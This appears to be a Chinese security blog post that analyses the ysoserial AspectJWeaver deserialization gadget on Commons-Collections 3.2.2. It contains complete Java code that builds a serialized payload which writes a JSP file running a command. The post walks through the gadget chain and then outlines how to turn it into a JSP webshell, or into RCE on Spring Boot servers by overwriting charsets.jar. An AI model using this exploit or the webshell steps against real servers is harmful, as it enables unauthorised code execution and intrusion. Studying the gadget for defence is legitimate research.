0 前言

ysoserial反序列化系列學習記錄之一,最近看到利用AspectJWeaver這個gadget實現webshell寫入的滲透記錄帖子,而這個gadget用到的Commons-Collections版本為3.2.2,高版本的CC更具實用性。除了詳細解析gadget之外,還考慮了兩種實際攻擊場景的應用。

1 環境

jdk1.8u40

Commons-Collections:3.2.2

aspectjweaver:1.9.2

aspectjweaver這個包是Spring AOP所需要的依賴,用於實現AOP做切入點表示式、aop相關注解

pom.xml依賴如下:

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

實驗程式碼如下:


import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; public class aspectjweaver {
/*
commons-collections:3.2.2
aspectjweaver:1.9.2 spring AOP做切入點表示式、aop相關注解時需要
*/
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8); // 建立StoreableCachingMap物件
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12); // 把儲存了檔案內容的物件exp放到ConstantTransformer中,後面呼叫ConstantTransformer#transform(xx)時,返回exp物件
ConstantTransformer constantTransformer = new ConstantTransformer(exp); // 用LazyMap和TiedMapEntry包裝Transformer類,以便於將觸發點擴充套件到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName); // 反序列化漏洞的啟動點: HashSet
HashSet hashSet = new HashSet(1);
// 隨便設定一個值,後面反射修改為tiedMapEntry,直接add(tiedMapEntry)會在序列化時本地觸發payload
hashSet.add("fff"); // 獲取HashSet中的HashMap物件
Field field;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
field = HashSet.class.getDeclaredField("backingMap"); // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet); // 獲取HashMap中的table物件
Field field1;
try{
field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap); // 從table物件中獲取索引0 或 1的物件,該物件為HashMap$Node類
Object node = array[0];
if(node==null){
node = array[1];
} // 從HashMap$Node類中獲取key這個field,並修改為tiedMapEntry
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry); // 序列化和反序列化測試
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
objectOutputStream.writeObject(hashSet); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));
objectInputStream.readObject();
}
}

執行成功後會在執行路徑下寫個test.jsp,下面來看看這個gadget具體是怎麼觸發的

2 gadget解析

2.1 高版本Commons-Collections的防禦措施

在3.1或者4.0版本的Commons-Collections利用鏈中,最底層都要呼叫到InvokerTransformer類,高版本的修復方式就是在這個類的readObject和writeObject中加入安全警告,如下:

由於反序列化時,會自動呼叫類的readObject方法,所以當位元組碼傳遞到伺服器短時,一執行InvokerTransformer#readObject方法就會觸發警告,停止反序列化,必須伺服器端手動開啟允許反序列化的設定。

2.2 獲取AspectJWeaver的呼叫鏈

這個gadget最終要寫一個檔案,根據Windows的檔名要求,我們寫入"test.?jsp"時會出問題,如此即可獲得呼叫鏈。獲得呼叫鏈如下:

如果研究過低版本下Commons-Collections的HashSet呼叫鏈,肯定就會非常熟悉readObject後面這一部分。首先HashSet#readObject方法會觸發map.put(e, PRESENT)

  • HashSet#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略了不重要的部分 // Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); // 觸發點
}
}

此時有個很關鍵的問題在於這個物件e到底是啥?回到我們的程式碼利用反射修改值的部分

// 用LazyMap和TiedMapEntry包裝Transformer類,以便於將觸發點擴充套件到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName); // 反序列化漏洞的啟動點: HashSet
HashSet hashSet = new HashSet(1);
// 隨便設定一個值,後面反射修改為tiedMapEntry,直接add(tiedMapEntry)會在序列化時本地觸發payload
hashSet.add("fff"); // 獲取HashSet中的HashMap物件
Field field;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
field = HashSet.class.getDeclaredField("backingMap"); // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet); // 獲取HashMap中的table物件
Field field1;
try{
field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap); // 從table物件中獲取索引0 或 1的物件,該物件為HashMap$Node類
Object node = array[0];
if(node==null){
node = array[1];
} // 從HashMap$Node類中獲取key這個field,並修改為tiedMapEntry
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);

首先是lazyMap和TiedMapEntry後面再詳細解析,後面部分的程式碼則是將"fff"替換成tiedMapEntry物件,這時需要從原始碼中看看HashSet如何儲存值的:

  • HashSet中的所有物件都儲存在內部HashMap的key中,以保證唯一性

  • HashMap的每個key->value鍵值對儲存在一個命名為table的Node類陣列中,每次呼叫HashMap#get方法時,實際時從這個陣列中獲取值

  • 跟進看看HashMap$Node類

到這裡也就很清楚了,只需要通過反射獲取HashSet內部的HashMap物件,在修改HashMap$Node類中的key屬性為tiedMapEntry即可,回看一下程式碼應該很容易理解。

2.3 gadget詳解

前面已經說到,HashSet#readObject方法會呼叫HashMap#put方法,

  • HashSet#readObject()
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable
{
private static final Object PRESENT = new Object();
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略了不重要的部分 // Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); // 觸發點,PRESENT=new Object(); 原始碼中可見,就不截圖了
}
}
}

由於HashSet只有一個值,所以相當於執行了HashMap.put(tiedMapEntry, new Object()),跟著這個基礎,繼續往下看

  • HashMap#put(tiedMapEntry, new Object())
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

此時key=tiedMapEntry,value=object (將new Object()簡寫為object,這個值不影響啥),明顯會先執行HashMap#hash(tiedMapEntry),跟進一下

  • HashMap#hash(tiedMapEntry)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

此時key=tiedMapEntry,程式碼中明顯會先呼叫key.hashCode()方法,也就是執行了tiedMapEntry.hashCode(),此時繼續跟進

  • TiedMapEntry#hashCode()
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

這裡會先呼叫TiedMapEntry#getValue()方法,需要跟進一下

  • TiedMapEntry#getValue()

此時map和key分別是啥呢?這就要回看一下我們的程式碼和TiedMapEntry的構造方法了!

  • TiedMapEntry的構造方法
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
  • payload中的相應程式碼
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

也就是說,上面的圖片中,map=lazyMap,key=filename,所以直接跟進LazyMap#get(filename)和LazyMap.decorate()方法

  • LazyMap.decorate(Map, Transformer)和對應的構造方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 構造方法
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
  • LazyMap#get(filename)
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

此時會看我們的程式碼關於lazyMap的部分

String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8); // 建立StoreableCachingMap物件
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12); // 把儲存了檔案內容的物件exp放到ConstantTransformer中,後面呼叫ConstantTransformer#transform(xx)時,返回exp物件
ConstantTransformer constantTransformer = new ConstantTransformer(exp); // 用LazyMap和TiedMapEntry包裝Transformer類,以便於將觸發點擴充套件到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

也就是說,lazyMap.map=StoreableCachingMap,lazyMap.factory=ConstantTransformer,將這些資訊帶入到LazyMap.get(filename),

    1. 由於map.containsKey(filename)=false,所以進入if程式碼塊。
    1. 此時呼叫lazyMap.factory.transform(filename),也就是ConstantTransformer.transform(filename),跟進一下該方法
// 構造方法,使得iConstant=exp
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
// transform方法,返回iConstant,也就是exp
public Object transform(Object input) {
return iConstant;
}

執行完後,回到LazyMap.get(filename)中,此時value=exp,執行map.put(filename, exp),實際上執行StoreableCachingMap.put(filename, exp),繼續跟進

  • StoreableCachingMap.put(filename, exp)
private static final String SAME_BYTES_STRING = "IDEM";
private static final byte[] SAME_BYTES = SAME_BYTES_STRING.getBytes();
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value; if (Arrays.equals(valueBytes, SAME_BYTES)) { // SAME_BYTES = "IDEM".getBytes();
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key, valueBytes);
}
Object result = super.put(key, path);
storeMap();
return result;
} catch (IOException e) {
trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
Dump.dumpWithException(e);
}
return null;
}

這裡key=filename,value=exp,帶入程式碼中,更改變數名valueBytes=exp陣列,然後進入if判斷語句,顯然"IDEM"和我們的exp不相等,進入else程式碼塊,跟進writeToPath((String) key, valueBytes)

  • StoreableCachingMap#writeToPath((String) key, valueBytes)
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}

此時key=filename,bytes=惡意程式碼byte陣列,程式碼比較簡單,就是單純的寫檔案,因為沒有catch語句,所以2.2中獲取呼叫鏈時給filename="test.?jsp"會觸發報錯,從而給出呼叫鏈。

到這裡整個gadget就解析完了,主要是避開了InvokerTransformer#readObject時的安全檢查,並利用lazyMap.get()方法去呼叫寫檔案的類,從而達到檔案寫入的能力。最後再結合ysoserial中給出的呼叫鏈回顧一下整個呼叫鏈

Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

3 兩種應用場景

3.1 直接寫入jsp

如果目標Web應用可以寫入jsp,並且能夠解析,那直接寫jsp Webshell即可,比較直接,就不多說了

3.2 SpringBoot採用jar包部署的情況

現在很多應用都採用了SpringBoot打包成一個jar或者war包放到伺服器上部署,就算我們能夠寫檔案,也不會被內嵌的中介軟體解析,這個時候應該怎麼辦呢?

LandGrey大佬給出瞭解決辦法:Spring Boot Fat Jar 寫檔案漏洞到穩定 RCE 的探索

向伺服器的jdk目錄下寫入jar包,由於jvm的類載入機制,並不會一次性把所有jdk中的jar包都進行載入,所以可以先寫入/jre/lib/charsets.jar進行覆蓋,然後給request header中加入特殊頭部,此時由於給定了字元編碼,會讓jvm去載入charset.jar,從而觸發惡意程式碼。惡意頭部可以如下:

Accept: text/plain, */*; q=0.01
Accept: text/html;charset=GBK
...

具體細節請見大佬的部落格和github倉庫。

參考

Spring Boot Fat Jar 寫檔案漏洞到穩定 RCE 的探索

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java